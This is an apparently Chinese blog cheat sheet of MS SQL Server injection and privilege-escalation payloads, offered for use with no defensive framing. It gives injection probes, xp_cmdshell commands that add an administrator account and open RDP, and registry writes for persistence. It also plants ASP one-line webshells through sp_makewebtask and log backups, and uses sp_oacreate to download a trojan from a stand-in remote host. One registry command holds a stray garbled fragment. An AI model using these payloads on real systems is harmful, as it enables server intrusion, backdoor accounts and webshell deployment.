隐藏

MsSQL高级注入命令提权

发布:2015/1/21 16:22:13作者:管理员 来源:本站 浏览次数:1365

一、基本信息搜集 
 
1.注入点类型的判断 
and exists (select * from sysobjects)
 
2.注入点权限判断 
and 1=(select is_srvrolemember('sysadmin')) //判断是否是系统管理员 
and 1=(select is_srvrolemember('db_owner')) //判断是否是库权限 
and 1=(select is_srvrolemember('public'))   //判断是否为public权限
 
3.其他信息获取 
;declare @d int //判断MsSQL支持多行语句查询 
and (select count(1) from [sysobjects])>=0 //是否支持子查询 
and user>0  //获取当前数据库用户名 
and db_name>0  //获取当前数据库名称 
and 1=convert(int,db_name())或1=(select db_name())  //当前数据库名 
and 1=(select @@servername)  //本地服务名 
and 1=(select HAS_DBACCESS('master'))  //判断是否有库读取权限
 
二、利用MsSQL扩展存储注入攻击 
1.检测与恢复扩展存储 
判断xp_cmdshell扩展存储是否存在 
and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' AND name= 'xp_cmdshell')
 
判断xp_regread扩展存储过程是否存在 
and 1=(select count(*) from master.dbo.sysobjects where name='xp_regread')
 
恢复 
;exec sp_dropextendedproc 'xp_cmdshell' 
;exec sp_dropextendedproc xp_cmdshell,'xplog70.dll'
 
三、sa权限下扩展存储攻击利用方法 
1.利用xp_cmdshell扩展执行任意命令 
查看C盘 
;drop table black;create TABLE black(mulu varchar(7996) NULL,ID int NOT NULL IDENTITY(1,1))-- 
;insert into black exec master..xp_cmdshell 'dir c:\' 
and 1=(select top 1 mulu from black where id=1)
 
新建用户 
;exec master..xp_cmdshell 'net user test test /add' 
;exec master..xp_cmdshell 'net localgroup administrators test /add'
 
打开3389 
;exec master..xp_cmdshell 'sc config termservice start=auto' 
;exec master..xp_cmdshell 'net start termservice' 
;exec master..xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v www.2cto.com
 
fDenyTSConnections /t REG_DWORD /d 0x0 /f'  //允许外部连接 
;exec master..xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
 
Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x50 /f'    //改端口到80,个人感觉没什么用,要么放到最前面执行
 
2.xp_regwrite操作注册表 
;exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','black','REG_SZ','net
 
user test test /add'
 
开启沙盒模式 
;exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
 
然后利用jet.oledb执行如下 
;select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("net
 
user test test /add")')
 
注意,如果注入点的参数是integer数字型,就可指定"ias.mdb"数据库;如果是string字符型,则可指定dnary.mdb。如果是windows 2000系
 
统,数据库的路径应该指定为"x:\winnt\system32\ias\ias.mdb"。
 
3.利用sp_makewebtask写入一句话木马
 
;exec sp_makewebtask 'e:\www_iis\yjh.asp','select''%3C%25%65%76%61%6C%20%72%65%71%75%65%73%74%28%22%63%68%6F%70%70%65%
 
72%22%29%25%3E'''--
 
4.利用sp_oacreate存储远程下载文件(啊D的一个漏洞利用工具就是这个原理)
 
;DECLARE @B varbinary(8000),@hr int,@http INT,@down INT 
EXEC sp_oacreate [Microsoft.XMLHTTP],@http output  
EXEC @hr = sp_oamethod @http,[Open],null,[GET],[http://www.test.com/muma.txt],0 
EXEC @hr = sp_oamethod @http,[Send],null 
EXEC @hr=sp_OAGetProperty @http,[responseBody],@B output 
EXEC @hr=sp_oacreate [ADODB.Stream],@down output 
EXEC @hr=sp_OASetProperty @down,[Type],1 EXEC @hr=sp_OASetProperty @down,[mode],3 
EXEC @hr=sp_oamethod @down,[Open],null EXEC @hr=sp_oamethod @down,[Write],null,@B 
EXEC @hr=sp_oamethod @down,[SaveToFile],null,[e:\www_iis\muma.asp],1
 
即可下载文件:http://www.test.com/muma.txt的内容到e:\www_iis\muma.asp成功写入一个webshell.
 
5.sp_addlogin扩展管理数据库用户 
;exec master.dbo.sp_addlogin test,password 
exec master.dbo.sp_addlogin test,sysadmin
 
6.xp_servicecontrol管理服务(自测不太管用) 
要停掉或激活某个服务,可利用 
;exec master..xp_servicecontrol 'stop','schedule'   //停止计划任务服务 
;exec master..xp_servicecontrol 'start','schedule' 
;exec master..xp_servicecontrol 'start','server'    //启动server服务
 
7.获取当前web目录 
;drop table black;create TABLE black(mulu varchar(7996) NULL,ID int NOT NULL IDENTITY(1,1))-- 
;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001
 
\Services\W3SVC\Parameters\Virtual Roots','/',@result output insert into black (mulu) values(@result)--
 
然后 
and 1=(select top 1 mulu from black where id=1)
 
四、dbowner权限下的扩展攻击利用 
1.判断数据库用户权限 
and 1=(select is_member('db_owner'));--
 
2.搜索web目录 
;create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY(1,1));--
 
然后 
;insert into temp(dir,depth,files)exec master.dbo.xp_dirtree 'c:',1,1--
 
and(select dir from temp where id=1)>0
 
由于不能一次性获取所有目录文件和文件夹名,因此需要更改ID的值,依次列出文件和文件夹
 
3.写入一句话木马 
找到web目录后,就可以写入一句话木马了 
;alter database news set RECOVERY FULL 
;create table test(str image)-- 
;backup log news to disk='c:\test' with init-- 
;insert into test(str)values ('<%excute(request("cmd"))%>')-- 
;backup log news to disk='c:\inetpub\wwwroot\yjh.asp'-- 
;alter database news RECOVERY simple
 
The quieter you become,the more you are able to hear.